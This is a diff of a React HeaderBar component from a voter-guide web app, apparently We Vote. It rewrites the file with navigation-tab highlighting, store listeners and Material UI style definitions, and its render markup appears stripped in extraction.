- OrganizationActions.organizationsFollowedRetrieve();
- }
- VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id);
- VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id);
- }
-
- debugLogging (text) {
- const isDebugLogging = false;
- if (isDebugLogging) {
- console.log(`HeaderBar shouldComponentUpdate: ${text}`);
- }
- }
-
- // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends'
- customHighlightSelector (currentValue) {
- const normal = {
- opacity: 0.7,
- fontWeight: 500,
- color: 'rgba(51, 51, 51)',
- };
- // Should use theme.colors.brandBlue instead of directly using '#2e3c5d'
- const highlight = {
- opacity: 1,
- fontWeight: 600,
- color: '#2e3c5d',
- };
-
- if (window.$) {
- // console.log('customHighlightSelector called for page: ', normalizedHrefPage());
- const ballot = $('#ballotTabHeaderBar');
- const candidates = $('#candidatesTabHeaderBar');
- const challenges = $('#challengesTabHeaderBar');
- const friends = $('#friendsTabHeaderBar');
- const news = $('#discussTabHeaderBar');
- const donate = $('#donateTabHeaderBar');
- const squads = $('#squadsTabHeaderBar');
- const more = $('#moreTabHeaderBar');
- ballot.css(normal);
- candidates.css(normal); // Candidates (not individual candidate page)
- challenges.css(normal); // Democracy Challenges
- friends.css(normal); // Friends
- news.css(normal); // Discuss
- donate.css(normal); // Donate
- squads.css(normal); // Squads
- more.css(normal); // More
-
-
- switch (normalizedHrefPage()) {
- case 'ballot':
- ballot.css(highlight);
- break;
- case 'candidatelist': // displays same page as "cs"
- candidates.css(highlight);
- break;
- case 'donate':
- case 'more/donate':
- donate.css(highlight);
- break;
- case 'challenges':
- case 'election-finder':
- case 'more/faq':
- case 'friends':
- case 'managecandidates':
- case 'no-candidates-claimed':
- case 'more':
- case 'news':
- case 'squads':
- more.css(highlight);
- break;
- case 'politicianpage':
- candidates.css(highlight);
- break;
- default:
- break;
- }
- if (currentValue === 4) {
- more.css(highlight);
- }
- } else {
- setTimeout(() => {
- console.log('customHighlightSelector purposefully called recursively');
- this.customHighlightSelector(currentValue);
- }, 500);
- }
-
- this.setState({ page: normalizedHrefPage() });
- }
-
- goToSettings () {
- console.log('goToSettings IN HeaderBar setDrawerOpen');
- AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true);
- }
-
- toggleSignInModal () {
- const { showSignInModal } = this.state;
- // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal);
- AppObservableStore.setShowSignInModal(!showSignInModal);
- this.setState({
- showSignInModal: !showSignInModal,
- });
- }
-
- render () {
- renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders
- if (!this.state.componentDidMountFinished) {
- // console.log('HeaderBar suppressed for !componentDidMountFinished');
- return null;
- }
-
- if (window.leanLoadForChromeExtension) {
- // console.log('HeaderBar suppressed for Chrome Extension');
- return null; // No header on the iFramed pages for the Chrome Extension
- }
-
- const { classes } = this.props;
- const {
- chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown,
- voter, voterIsSignedIn, tabsValue,
- } = this.state;
- const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason
- // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode);
- const voterPhotoUrlMedium = voterPhoto(voter);
-
- const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo;
- const showWeVoteLogo = !doNotShowWeVoteLogo;
-
- const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends'
- let avatarStyle = {};
- if (isCordova()) {
- avatarStyle = { marginBottom: 2 };
- }
- if (isSmallTablet()) {
- avatarStyle = { ...avatarStyle, paddingRight: 10 };
- }
- // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow());
- const displayMenu = !isMobileScreenSize() || isTablet();
- // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet());
- let donateValue;
- let donateVisible;
- let moreValue;
- if (inPrivateLabelMode) {
- donateValue = 3;
- donateVisible = false;
- moreValue = 3;
- } else {
- donateValue = 3;
- donateVisible = true;
- moreValue = 4;
- }
-
- // console.log('HeaderBar !isMobileScreenSize()', displayMenu);
- // console.log('normalizedHrefPage():', normalizedHrefPage());
- return (
-
-
- {/*
-
- );
- }
-}
-HeaderBar.propTypes = {
- classes: PropTypes.object,
-};
-
-const styles = (theme) => {
- const tabBase = {
- color: 'rgba(51, 51, 51, 0.7)',
- fontSize: 18,
- minWidth: 90,
- opacity: 0.7,
- paddingTop: 17,
- '&.Mui-selected': {
- color: '#2e3c5d',
- fontWeight: 600,
- opacity: 1,
- },
- };
- const tabSelected = {
- color: '#2e3c5d',
- fontWeight: 600,
- opacity: 1,
- };
-
- return {
- tabRoot: { ...tabBase },
- tabRootMore: { ...tabBase },
- tabSelected: { ...tabSelected },
-
- padding: {
- padding: `0 ${theme.spacing(2)}px`,
- },
- moreLabel: {
- alignItems: 'center',
- display: 'flex',
- gap: 4,
- lineHeight: 1,
- },
- tabMoreIcon: {
- color: 'inherit',
- fontSize: 22,
- },
-
- addressButtonRoot: {
- '&:hover': {
- backgroundColor: 'transparent',
- },
- color: 'rgba(17, 17, 17, .5)',
- outline: 'none !important',
- paddingRight: 6,
- [theme.breakpoints.up('sm')]: {
- paddingLeft: 0,
- },
- [theme.breakpoints.down('sm')]: {
- paddingTop: 6,
- marginLeft: 2,
- paddingLeft: 0,
- },
- },
- addressIconButtonRoot: {
- paddingTop: 1,
- paddingRight: 6,
- paddingBottom: 3,
- paddingLeft: 0,
- color: 'rgba(17, 17, 17, .4)',
- outline: 'none !important',
- '&:hover': {
- backgroundColor: 'transparent',
- },
- [theme.breakpoints.up('sm')]: {
- paddingRight: 2,
- },
- },
- iconButtonRoot: {
- paddingTop: 1,
- paddingRight: 0,
- paddingBottom: 3,
- paddingLeft: 0,
- color: 'rgba(17, 17, 17, .4)',
- outline: 'none !important',
- '&:hover': {
- backgroundColor: 'transparent',
- },
- },
- searchButtonRoot: {
- '&:hover': {
- backgroundColor: 'transparent',
- },
- color: 'rgba(17, 17, 17, .5)',
- outline: 'none !important',
- paddingTop: 0,
- paddingRight: 0,
- [theme.breakpoints.up('sm')]: {
- paddingLeft: 0,
- },
- [theme.breakpoints.down('sm')]: {
- marginLeft: 2,
- paddingLeft: 0,
- },
- },
- tooltipPlacementBottom: {
- marginTop: 0,
- },
- tabRootBallot: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
- fontSize: 24,
- },
- },
- tabRootBallotDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootBlog: {
- color: 'rgba(51, 51, 51, 0.7)',
- },
- tabRootCandidates: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
- fontSize: 24,
- },
- },
- tabRootCandidatesDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootDonate: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootDonateDesktop: {
- fontSize: 18,
- minWidth: 70,
- paddingTop: 17,
- },
- tabRootFriends: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootFriendsDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootNews: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootNewsDesktop: {
- fontSize: 18,
- minWidth: 70,
- paddingTop: 17,
- },
- tabRootHowItWorks: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- };
-};
-
-const HeaderBarWrapper = styled.div.attrs({
- className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page
- shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop),
-})(({ scrolledDown, hasSubmenu }) => (`
- box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')};
- border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'};
- padding-left: calc(100vw - 100%);
-`));
-
-const StyledHeaderMenuTabs = styled(Tabs)`
- // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())};
-`;
-const StyledMoreMenu = styled(Menu)`
- .MuiPaper-root {
- border-radius: 8px;
- box-shadow: ${standardBoxShadow('wide')};
- margin-top: 8px;
- min-width: 200px;
- }
-`;
-
-const StyledMoreMenuItem = styled(MenuItem)`
- color: rgba(51, 51, 51, 0.7);
- font-size: 18px;
- font-weight: 500;
- line-height: 1.2;
- opacity: 1;
- padding: 12px 16px;
- position: relative;
-
- &:hover {
- background: rgba(46, 60, 93, 0.06);
- }
-
- &.Mui-selected,
- &.Mui-selected:hover {
- background: transparent;
- color: #2e3c5d;
- font-weight: 600;
- opacity: 1;
- }
-`;
-
-export default withStyles(styles)(HeaderBar);
+import AccountCircle from '@mui/icons-material/AccountCircle';
+import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
+import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import { Link } from 'react-router-dom';
+import styled from 'styled-components';
+import OrganizationActions from '../../actions/OrganizationActions';
+import VoterActions from '../../actions/VoterActions';
+import VoterGuideActions from '../../actions/VoterGuideActions';
+import LazyImage from '../../common/components/LazyImage';
+import standardBoxShadow from '../../common/components/Style/standardBoxShadow';
+import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
+import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
+import apiCalming from '../../common/utils/apiCalming';
+// import { historyPush } from '../../common/utils/cordovaUtils';
+import { normalizedHrefPage } from '../../common/utils/hrefUtils';
+import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize';
+import { renderLog } from '../../common/utils/logging';
+import voterPhoto from '../../common/utils/voterPhoto';
+import webAppConfig from '../../config';
+import AnalyticsStore from '../../stores/AnalyticsStore';
+import FacebookStore from '../../stores/FacebookStore';
+import FriendStore from '../../stores/FriendStore';
+import VoterStore from '../../stores/VoterStore';
+import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils';
+import getHeaderObjects from '../../utils/getHeaderObjects';
+import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles';
+import SignInButton from '../Widgets/SignInButton';
+import FriendsTabs from './FriendsTabs';
+import HeaderBarLogo from './HeaderBarLogo';
+import HeaderBarModals from './HeaderBarModals';
+import TabWithPushHistory from './TabWithPushHistory';
+
+const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu'));
+const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+
+/* global $ */
+
+// TODO: Backport "@stripe/react-stripe-js" use from Campaigns
+// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal';
+
+
+class HeaderBar extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ // aboutMenuOpen: false,
+ chosenSiteLogoUrl: '',
+ componentDidMountFinished: false,
+ // friendInvitationsSentToMe: 0,
+ hideWeVoteLogo: false,
+ // inPrivateLabelMode: false,
+ // priorPath: '',
+ scrolledDown: false,
+ // showOrganizationModal: false,
+ showSignInModal: false,
+ // showPositionDrawer: false,
+ // whatAndHowMuchToShare: '',
+ tabsValue: 1,
+ // organizationModalBallotItemWeVoteId: '',
+ page: 'non-blank-default-value',
+ voter: {},
+ // voterFirstName: '',
+ voterIsSignedIn: false,
+ };
+ this.debugLogging = this.debugLogging.bind(this);
+ this.toggleSignInModal = this.toggleSignInModal.bind(this);
+ this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this);
+ this.handleTabChange = this.handleTabChange.bind(this);
+ this.handleResizeLocal = this.handleResizeLocal.bind(this);
+ }
+
+ componentDidMount () {
+ this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg));
+ this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this));
+ window.addEventListener('resize', this.handleResizeLocal);
+
+ const voter = VoterStore.getVoter();
+ // const voterFirstName = VoterStore.getFirstName();
+ const voterIsSignedIn = voter && voter.is_signed_in;
+ // if (voterIsSignedIn === undefined) {
+ // VoterActions.voterRetrieve();
+ // }
+ this.setState({
+ componentDidMountFinished: true,
+ chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
+ // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
+ hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
+ scrolledDown: AppObservableStore.getScrolledDown(),
+ showSignInModal: AppObservableStore.showSignInModal(),
+ voter,
+ // voterFirstName,
+ voterIsSignedIn,
+ });
+ if (isWebApp()) {
+ this.setStyleTimeout = setTimeout(() => {
+ const headerObjects = getHeaderObjects();
+ if (document.getElementById('HeaderBarLogoWrapper')) {
+ headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML;
+ }
+ if (document.getElementById('ballotTabHeaderBar')) {
+ headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('candidatesTabHeaderBar')) {
+ headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('challengesTabHeaderBar')) {
+ headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('friendsTabHeaderBar')) {
+ headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('discussTabHeaderBar')) {
+ headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('donateTabHeaderBar')) {
+ headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('HeaderNotificationMenuWrapper')) {
+ headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML;
+ }
+ if (document.getElementById('profileAvatarHeaderBar')) {
+ headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML;
+ }
+ if (document.getElementById('moreTabHeaderBar')) {
+ headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('howItWorksTabHeaderBar')) {
+ headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML;
+ }
+ }, 1000);
+ }
+ this.syncTabsToRoute();
+ }
+
+ componentDidUpdate () {
+ // console.log('HeaderBar componentDidUpdate');
+ const { page } = this.state;
+ if (page !== normalizedHrefPage()) {
+ this.syncTabsToRoute();
+ }
+ }
+
+ componentDidCatch (error, info) {
+ // We should get this information to Splunk!
+ console.error('HeaderBar caught error: ', `${error} with info: `, info);
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ this.friendStoreListener.remove();
+ this.voterStoreListener.remove();
+ this.analyticsStoreListener.remove();
+ window.removeEventListener('resize', this.handleResizeLocal);
+ if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout);
+ }
+
+ handleTabChange = (newValue) => {
+ this.setState({ tabsValue: newValue }, () => {
+ // console.log('handleTabChange ', newValue);
+ this.customHighlightSelector(newValue);
+ });
+ };
+
+ handleResizeLocal () {
+ if (handleResize('HeaderBar')) {
+ this.setState({});
+ }
+ }
+
+ onFriendStoreChange () {
+ // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('HeaderBar, onFriendStoreChange');
+ this.setState({
+ // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
+ });
+ }
+ }
+
+ onVoterStoreChange () {
+ // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
+ // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter());
+
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName());
+ const voter = VoterStore.getVoter();
+ // const voterFirstName = VoterStore.getFirstName();
+ const voterIsSignedIn = voter.is_signed_in || false;
+ this.setState({
+ voter,
+ // voterFirstName,
+ voterIsSignedIn,
+ showSignInModal: AppObservableStore.showSignInModal(),
+ // showOrganizationModal: AppObservableStore.showOrganizationModal(),
+ // showPositionDrawer: AppObservableStore.showPositionDrawer(),
+ });
+ }
+ }
+
+ // eslint-disable-next-line no-unused-vars
+ onAppObservableStoreChange (msg) {
+ // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg);
+ this.setState({
+ chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
+ hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
+ // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(),
+ scrolledDown: AppObservableStore.getScrolledDown(),
+ // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(),
+ showSignInModal: AppObservableStore.showSignInModal(),
+ });
+ }
+
+ onAnalyticsStoreChange () {
+ // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page
+ // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response
+ // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId());
+ if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) {
+ if (apiCalming('voterRetrieve', 500)) {
+ // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete
+ VoterActions.voterRetrieve();
+ }
+ }
+ }
+
+ syncTabsToRoute = () => {
+ const nextPage = normalizedHrefPage();
+ const nextValue = this.getTabsValueFromPage();
+ this.setState({ tabsValue: nextValue, page: nextPage }, () => {
+ this.customHighlightSelector(nextValue || false);
+ });
+ };
+
+ getTabsValueFromPage = () => {
+ const page = normalizedHrefPage();
+ switch (page) {
+ case 'ballot':
+ return 1;
+ case 'candidatelist':
+ case 'politicianpage':
+ return 2;
+ case 'donate':
+ case 'more/donate':
+ return 3;
+ case 'election-finder':
+ case 'friends':
+ case 'news':
+ case 'challenges':
+ case 'more':
+ case 'more/faq':
+ case 'managecandidates':
+ case 'no-candidates-claimed':
+ return 4;
+ default:
+ return 0;
+ }
+ };
+
+ // goToSearch = () => {
+ // historyPush('/opinions');
+ // }
+
+ openHowItWorksModal = () => {
+ // console.log('Opening modal');
+ AppObservableStore.setShowHowItWorksModal(true);
+ };
+
+ transitionToYourVoterGuide () {
+ // Positions for this organization, for this voter/election
+ OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true);
+
+ // Positions for this organization, NOT including for this voter / election
+ // const googleCivicElectionId = 0;
+ // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) {
+ OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true);
+ // }
+ if (apiCalming('organizationsFollowedRetrieve', 60000)) {
+ OrganizationActions.organizationsFollowedRetrieve();
+ }
+ VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id);
+ VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id);
+ }
+
+ debugLogging (text) {
+ const isDebugLogging = false;
+ if (isDebugLogging) {
+ console.log(`HeaderBar shouldComponentUpdate: ${text}`);
+ }
+ }
+
+ // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends'
+ customHighlightSelector (currentValue) {
+ const normal = {
+ opacity: 0.7,
+ fontWeight: 500,
+ color: 'rgba(51, 51, 51)',
+ };
+ // Should use theme.colors.brandBlue instead of directly using '#2e3c5d'
+ const highlight = {
+ opacity: 1,
+ fontWeight: 600,
+ color: '#2e3c5d',
+ };
+
+ if (window.$) {
+ // console.log('customHighlightSelector called for page: ', normalizedHrefPage());
+ const ballot = $('#ballotTabHeaderBar');
+ const candidates = $('#candidatesTabHeaderBar');
+ const challenges = $('#challengesTabHeaderBar');
+ const friends = $('#friendsTabHeaderBar');
+ const news = $('#discussTabHeaderBar');
+ const donate = $('#donateTabHeaderBar');
+ const squads = $('#squadsTabHeaderBar');
+ const more = $('#moreTabHeaderBar');
+ ballot.css(normal);
+ candidates.css(normal); // Candidates (not individual candidate page)
+ challenges.css(normal); // Democracy Challenges
+ friends.css(normal); // Friends
+ news.css(normal); // Discuss
+ donate.css(normal); // Donate
+ squads.css(normal); // Squads
+ more.css(normal); // More
+
+
+ switch (normalizedHrefPage()) {
+ case 'ballot':
+ ballot.css(highlight);
+ break;
+ case 'candidatelist': // displays same page as "cs"
+ candidates.css(highlight);
+ break;
+ case 'donate':
+ case 'more/donate':
+ donate.css(highlight);
+ break;
+ case 'challenges':
+ case 'election-finder':
+ case 'more/faq':
+ case 'friends':
+ case 'managecandidates':
+ case 'no-candidates-claimed':
+ case 'more':
+ case 'news':
+ case 'squads':
+ more.css(highlight);
+ break;
+ case 'politicianpage':
+ candidates.css(highlight);
+ break;
+ default:
+ break;
+ }
+ if (currentValue === 4) {
+ more.css(highlight);
+ }
+ } else {
+ setTimeout(() => {
+ console.log('customHighlightSelector purposefully called recursively');
+ this.customHighlightSelector(currentValue);
+ }, 500);
+ }
+
+ this.setState({ page: normalizedHrefPage() });
+ }
+
+ goToSettings () {
+ console.log('goToSettings IN HeaderBar setDrawerOpen');
+ AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true);
+ }
+
+ toggleSignInModal () {
+ const { showSignInModal } = this.state;
+ // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal);
+ AppObservableStore.setShowSignInModal(!showSignInModal);
+ this.setState({
+ showSignInModal: !showSignInModal,
+ });
+ }
+
+ render () {
+ renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders
+ if (!this.state.componentDidMountFinished) {
+ // console.log('HeaderBar suppressed for !componentDidMountFinished');
+ return null;
+ }
+
+ if (window.leanLoadForChromeExtension) {
+ // console.log('HeaderBar suppressed for Chrome Extension');
+ return null; // No header on the iFramed pages for the Chrome Extension
+ }
+
+ const { classes } = this.props;
+ const {
+ chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown,
+ voter, voterIsSignedIn, tabsValue,
+ } = this.state;
+ const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason
+ // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode);
+ const voterPhotoUrlMedium = voterPhoto(voter);
+
+ const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo;
+ const showWeVoteLogo = !doNotShowWeVoteLogo;
+
+ const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends'
+ let avatarStyle = {};
+ if (isCordova()) {
+ avatarStyle = { marginBottom: 2 };
+ }
+ if (isSmallTablet()) {
+ avatarStyle = { ...avatarStyle, paddingRight: 10 };
+ }
+ // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow());
+ const displayMenu = !isMobileScreenSize() || isTablet();
+ // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet());
+ let donateValue;
+ let donateVisible;
+ let moreValue;
+ if (inPrivateLabelMode) {
+ donateValue = 3;
+ donateVisible = false;
+ moreValue = 3;
+ } else {
+ donateValue = 3;
+ donateVisible = true;
+ moreValue = 4;
+ }
+
+ // console.log('HeaderBar !isMobileScreenSize()', displayMenu);
+ // console.log('normalizedHrefPage():', normalizedHrefPage());
+ return (
+
+
+ {/*
+
+ );
+ }
+}
+HeaderBar.propTypes = {
+ classes: PropTypes.object,
+};
+
+const styles = (theme) => {
+ const tabBase = {
+ color: 'rgba(51, 51, 51, 0.7)',
+ fontSize: 18,
+ minWidth: 90,
+ opacity: 0.7,
+ paddingTop: 17,
+ '&.Mui-selected': {
+ color: '#2e3c5d',
+ fontWeight: 600,
+ opacity: 1,
+ },
+ };
+ const tabSelected = {
+ color: '#2e3c5d',
+ fontWeight: 600,
+ opacity: 1,
+ };
+
+ return {
+ tabRoot: { ...tabBase },
+ tabRootMore: { ...tabBase },
+ tabSelected: { ...tabSelected },
+
+ padding: {
+ padding: `0 ${theme.spacing(2)}px`,
+ },
+ moreLabel: {
+ alignItems: 'center',
+ display: 'flex',
+ gap: 4,
+ lineHeight: 1,
+ },
+ tabMoreIcon: {
+ color: 'inherit',
+ fontSize: 22,
+ },
+
+ addressButtonRoot: {
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ color: 'rgba(17, 17, 17, .5)',
+ outline: 'none !important',
+ paddingRight: 6,
+ [theme.breakpoints.up('sm')]: {
+ paddingLeft: 0,
+ },
+ [theme.breakpoints.down('sm')]: {
+ paddingTop: 6,
+ marginLeft: 2,
+ paddingLeft: 0,
+ },
+ },
+ addressIconButtonRoot: {
+ paddingTop: 1,
+ paddingRight: 6,
+ paddingBottom: 3,
+ paddingLeft: 0,
+ color: 'rgba(17, 17, 17, .4)',
+ outline: 'none !important',
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ [theme.breakpoints.up('sm')]: {
+ paddingRight: 2,
+ },
+ },
+ iconButtonRoot: {
+ paddingTop: 1,
+ paddingRight: 0,
+ paddingBottom: 3,
+ paddingLeft: 0,
+ color: 'rgba(17, 17, 17, .4)',
+ outline: 'none !important',
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ },
+ searchButtonRoot: {
+ '&:hover': {
+ backgroundColor: 'transparent',
+ },
+ color: 'rgba(17, 17, 17, .5)',
+ outline: 'none !important',
+ paddingTop: 0,
+ paddingRight: 0,
+ [theme.breakpoints.up('sm')]: {
+ paddingLeft: 0,
+ },
+ [theme.breakpoints.down('sm')]: {
+ marginLeft: 2,
+ paddingLeft: 0,
+ },
+ },
+ tooltipPlacementBottom: {
+ marginTop: 0,
+ },
+ tabRootBallot: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
